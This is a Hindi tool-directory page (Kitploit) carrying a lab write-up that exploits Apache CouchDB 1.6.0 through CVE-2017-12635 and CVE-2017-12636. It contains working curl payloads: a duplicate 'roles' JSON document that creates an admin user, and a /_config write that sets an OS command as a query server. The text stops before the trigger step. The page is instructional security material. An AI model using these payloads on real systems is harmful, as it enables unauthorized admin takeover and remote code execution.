Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2017-12635_36 — Apache CouchDB 1.6.0 के विरुद्ध CVE-2017-12635 (विशेषाधिकार वृद्धि) और CVE-2017-12636 (रिमोट कोड निष्पादन) के शोषण का प्रदर्शन करने वाली चरण-दर-चरण लैब, जोखिम मूल्यांकन और उपचार मार्गदर्शन के साथ। | Kitploit
उपकरण/GitHubGitHub/dungsocool/cve-2017-12635_36
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubdungsocool/cve-2017-12635_36

CVE-2017-12635_36

Apache CouchDB 1.6.0 के विरुद्ध CVE-2017-12635 (विशेषाधिकार वृद्धि) और CVE-2017-12636 (रिमोट कोड निष्पादन) के शोषण का प्रदर्शन करने वाली चरण-दर-चरण लैब, जोखिम मूल्यांकन और उपचार मार्गदर्शन के साथ।

रिपॉजिटरी देखें
4 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Lab7-CVE-2017-12635-12636

I. सिस्टम विश्लेषण

अटैक सतह की पहचान

वातावरण में क्या चल रहा है, इससे शुरुआत करते हुए, मैं सभी सक्रिय कंटेनरों को सूचीबद्ध करता हूँ:

docker ps

image.png

पीड़ित केवल एक पोर्ट एक्सपोज़ करता है: 5984

⇒ मैं अधिक जानकारी के लिए सीधे उस पर curl करता हूँ:

curl -i http://192.168.3.137:5984/

image.png

प्रतिक्रिया का विश्लेषण:

प्रतिक्रिया: HTTP/1.1 200 OK, जो साबित करती है कि पोर्ट 5984 पर सेवा सक्रिय है और HTTP के माध्यम से सीधे एक्सेस की जा सकती है।

सर्वर हेडर: CouchDB/1.6.0 (Erlang OTP/17) और JSON बॉडी जिसमें "version":"1.6.0" है, यह पुष्टि करते हैं कि यह Apache CouchDB संस्करण 1.6.0 है।

अटैक सतह का आकलन:

CouchDB सेवा पोर्ट 5984 के माध्यम से बाहरी रूप से एक्सपोज़्ड है। यह CouchDB HTTP API के लिए डिफ़ॉल्ट पोर्ट है, जो REST API के माध्यम से डेटाबेस इंटरैक्शन की अनुमति देता है।

संस्करण CouchDB 1.6.0 एक पुराना संस्करण है, जो 1.7.1 पैच से पहले का है। Apache दस्तावेज़ीकरण के अनुसार, इस रेंज के CouchDB संस्करण निम्न से प्रभावित हैं:

  • CVE-2017-12635: रिमोट प्रिविलेज एस्केलेशन डुप्लिकेट JSON roles कुंजियों की असंगत हैंडलिंग के कारण।
  • CVE-2017-12636: रिमोट कोड एक्ज़ीक्यूशन क्योंकि एक एडमिन उपयोगकर्ता HTTP API के माध्यम से सर्वर कॉन्फ़िगरेशन को संशोधित कर सकता है।

=> सोच: प्राप्त प्रतिक्रिया से यह निर्धारित करने के लिए पर्याप्त सबूत हैं कि पीड़ित पोर्ट 5984 पर Apache CouchDB 1.6.0 चला रहा है। यह एक पुराना संस्करण है जो CVE-2017-12635 और CVE-2017-12636 की एक्सप्लॉइट चेन से जुड़ा है। इसलिए, एक तार्किक एक्सप्लॉइट पथ है पहले प्रमाणीकरण स्थिति का परीक्षण करना, और फिर CouchDB HTTP API के माध्यम से प्रिविलेज एस्केलेशन या कमांड एक्ज़ीक्यूशन की संभावना का मूल्यांकन करना।


II. प्रमाणीकरण स्थिति का परीक्षण (CVE-2017-12635)

CVE-2017-12635 CouchDB में दो JSON पार्सरों के बीच विसंगति का फायदा उठाता है। जब /_users पर दो डुप्लिकेट roles कुंजियों के साथ एक उपयोगकर्ता दस्तावेज़ भेजा जाता है, तो CouchDB दस्तावेज़ के लेखन विशेषाधिकारों की जाँच के लिए दूसरी roles कुंजी का उपयोग करता है, लेकिन निर्माण के बाद उपयोगकर्ता की वास्तविक अनुमतियों के लिए पहली roles कुंजी का उपयोग करता है। इस प्रकार, एक हमलावर वैलिडेशन जाँच को बायपास करने के लिए पहली roles को ["_admin"] और दूसरी roles को [] सेट करता है, जिसके परिणामस्वरूप बनाया गया उपयोगकर्ता व्यवस्थापक विशेषाधिकार रखता है।

image.png

CouchDB दस्तावेज़ीकरण के आधार पर, CouchDB उपयोगकर्ता जानकारी को _users नामक एक विशेष डेटाबेस में संग्रहीत करता है, जहाँ प्रत्येक उपयोगकर्ता दस्तावेज़ की ID org.couchdb.user:<username> प्रारूप में होती है। चूँकि हमें hacker नाम का एक उपयोगकर्ता बनाना है, उपयोग किया जाने वाला एंडपॉइंट /_users/org.couchdb.user:hacker है। मैं एक नया उपयोगकर्ता बनाता हूँ और उसे एडमिन विशेषाधिकार प्रदान करता हूँ ताकि यह देखा जा सके कि सर्वर कैसे प्रतिक्रिया करता है।

curl -X PUT http://192.168.3.137:5984/_users/org.couchdb.user:hacker \
-H "Content-Type: application/json" \
-d '{
"type": "user",
"name": "hacker",
"roles": ["_admin"],
"roles": [],
"password": "password123"
}'

image.png

लौटाई गई प्रतिक्रिया true है, जो साबित करती है कि उपयोगकर्ता सफलतापूर्वक बनाया गया था। मैं नव निर्मित admin क्रेडेंशियल्स का उपयोग करके एक सत्यापन जाँच करता हूँ: curl -u hacker:password123 http://192.168.3.137:5984/_users। /_users एंडपॉइंट एक सिस्टम डेटाबेस है, जिससे डिफ़ॉल्ट रूप से केवल एडमिन ही मेटाडेटा पढ़ सकते हैं। यदि सामान्य उपयोगकर्ता द्वारा अनुरोध किया जाता है → 403 Forbidden। पूर्ण DB जानकारी के साथ 200 OK प्रतिक्रिया पुष्टि करती है कि hacker खाते के पास वास्तव में _admin विशेषाधिकार हैं। यह Apache CouchDB 1.6.0 पर CVE-2017-12635 परिकल्पना के साथ पूरी तरह मेल खाता है।

सारांश:

मैंने Apache CouchDB 1.6.0 पर CVE-2017-12635 को सफलतापूर्वक सत्यापित किया है। प्रारंभ में, पोर्ट 5984 केवल यह दिखाता था कि CouchDB HTTP API एक्सपोज़्ड था। curl के माध्यम से फिंगरप्रिंटिंग के बाद, प्रतिक्रिया ने पुष्टि की कि सेवा CouchDB 1.6.0 है, जो CVE-2017-12635 की भेद्यता सीमा के भीतर एक संस्करण है।

तुरंत यह निष्कर्ष निकालने के बजाय कि RCE संभव है, मैंने पहले चरण-दर-चरण प्रमाणीकरण प्रवाह को सत्यापित किया। /_users पर दो डुप्लिकेट roles कुंजियों के साथ एक उपयोगकर्ता दस्तावेज़ भेजकर, पेलोड ने उपयोगकर्ता hacker को सफलतापूर्वक बनाया। इसके बाद, curl -u hacker:password123 के माध्यम से /_users के अनुरोध ने सिस्टम डेटाबेस विवरण के साथ 200 OK लौटाया, जिससे साबित हुआ कि उपयोगकर्ता hacker के पास वास्तव में _admin विशेषाधिकार हैं।

परिणामस्वरूप, एक बार CouchDB एडमिन विशेषाधिकार प्राप्त हो जाने पर, अटैक सतह CVE-2017-12636 तक विस्तारित हो जाती है, क्योंकि एडमिन HTTP API के माध्यम से CouchDB कॉन्फ़िगरेशन को बदल सकते हैं। यह सर्वर पर रिमोट कोड एक्ज़ीक्यूशन क्षमताओं का और मूल्यांकन करने के लिए पूर्वापेक्षा के रूप में कार्य करता है।

⇒ सोच: OS-स्तरीय कमांड एक्ज़ीक्यूशन का परीक्षण करने के लिए नव प्राप्त एडमिन विशेषाधिकारों का उपयोग करें।


III. CouchDB एडमिन विशेषाधिकारों से रिमोट कोड एक्ज़ीक्यूशन तक (CVE-2017-12636)

image.png

Apache CouchDB दस्तावेज़ीकरण के अनुसार, एक क्वेरी सर्वर एक बाहरी प्रक्रिया है जिसका उपयोग CouchDB design functions को संसाधित करने के लिए करता है, जैसे MapReduce तंत्र में एक JavaScript व्यू। जब एक design document "language" फ़ील्ड घोषित करता है, तो CouchDB query_servers कॉन्फ़िगरेशन में संबंधित क्वेरी सर्वर को खोजने के लिए इस मान पर निर्भर करता है।

यदि design document में "language": "javascript" है, तो CouchDB map/reduce फ़ंक्शन को संभालने के लिए कौन सी प्रक्रिया स्पॉन करनी है, यह निर्धारित करने हेतु query_servers.javascript कॉन्फ़िगरेशन को क्वेरी करता है। यह एक वैध CouchDB डिज़ाइन है, क्योंकि CouchDB कोर डेटाबेस इंजन के भीतर सभी व्यू कोड को सीधे निष्पादित नहीं करता है।

⇒ समस्या CVE-2017-12636 में CouchDB व्यवस्थापक की HTTP API के माध्यम से सर्वर कॉन्फ़िगरेशन को संशोधित करने की क्षमता निहित है। इनमें से कुछ कॉन्फ़िगरेशन में ऑपरेटिंग सिस्टम-स्तरीय बाइनरी या प्रक्रियाओं के पथ शामिल हैं जिन्हें CouchDB लॉन्च करेगा। इसलिए, CVE-2017-12635 से एडमिन विशेषाधिकार प्राप्त करने के बाद, एक हमलावर query_servers.<language> को एक OS कमांड की ओर इंगित करने के लिए संशोधित कर सकता है। जब संबंधित भाषा का उपयोग करने वाला व्यू ट्रिगर होता है, तो CouchDB कमांड को स्पॉन करेगा, जिसके परिणामस्वरूप सर्वर पर कमांड एक्ज़ीक्यूशन होगा।

एक्सप्लॉइटेशन प्रवाह:

  1. CVE-2017-12635 के माध्यम से CouchDB एडमिन विशेषाधिकार प्राप्त करें।
  2. /_config एंडपॉइंट के माध्यम से दुर्भावनापूर्ण कॉन्फ़िगरेशन को query_servers.cmd में लिखें।
  3. "language": "cmd" के साथ एक design document बनाएँ।
  4. व्यू को ट्रिगर करें।
  5. CouchDB query_servers.cmd को खोजता है और कॉन्फ़िगर की गई प्रक्रिया को स्पॉन करता है।
  6. OS कमांड CouchDB प्रक्रिया के विशेषाधिकारों के तहत निष्पादित होती है।

संचालन तंत्र

दुर्भावनापूर्ण query_server कॉन्फ़िगरेशन लिखना

मान के रूप में OS कमांड के साथ, एक मनमाना नाम वाला "क्वेरी सर्वर" पंजीकृत करें:

curl -X PUT http://hacker:[email protected]:5984/_config/query_servers/cmd \
  -H "Content-Type: application/json" \
  -d '"id 1>/tmp/pwned 2>&1"'

यह वह OS कमांड है जिसे CouchDB प्रक्रिया द्वारा स्पॉन किया जाएगा।

एक्ज़ीक्यूशन ट्रिगर करना — डेटाबेस और दस्तावेज़ बनाना

टूल डाउनलोड करें